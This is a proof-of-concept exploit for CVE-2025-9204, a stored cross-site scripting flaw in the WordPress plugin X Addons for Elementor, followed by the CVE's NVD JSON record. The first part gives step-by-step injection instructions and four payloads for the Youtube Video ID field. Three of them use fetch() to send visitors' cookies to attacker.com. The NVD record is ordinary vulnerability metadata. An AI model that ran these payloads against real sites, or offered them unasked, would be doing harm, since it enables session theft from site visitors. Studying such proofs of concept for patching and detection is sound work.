CVE-2025-9204

<!-- CVE-2025-9204 PoC - Stored XSS via Youtube Video ID field --> <!-- The vulnerability exists in xa-hero.php around line 723 --> <!-- Attackers with contributor-level access can inject malicious scripts --> <!-- Step 1: Login as a contributor or higher level user --> <!-- Step 2: Create or edit a page using Elementor with X Addons Hero widget --> <!-- Step 3: In the "Youtube Video ID" field, inject the following payload --> <!-- Payload examples for the Youtube Video ID field: --> <!-- Payload 1: Basic script injection --> abc123\"><script>alert('XSS-CVE-2025-9204')</script> <!-- Payload 2: Cookie stealing --> abc123\"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- Payload 3: Event handler injection --> abc123\" onerror=\"fetch('https://attacker.com/?c='+document.cookie)\" src=\"x <!-- Payload 4: Using img tag onerror --> \"><img src=x onerror=fetch('https://attacker.com/?cookie='+document.cookie)> <!-- After saving the page, when any user visits the affected page, --> <!-- the malicious script will execute in their browser context. -->

{"cve": {"id": "CVE-2025-9204", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:46.897", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The X Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Youtube Video ID field in all versions up to, and including, 1.0.16. This is due to insufficient input sanitization and output escaping on the Youtube Video ID parameter. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an affected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/x-addons-elementor/tags/1.0.14/includes/widgets/xa-hero.php#L723", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3375643/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d37599aa-d8e0-4ff2-8e15-a96f1865f4d9?source=cve", "source": "[email protected]"}]}}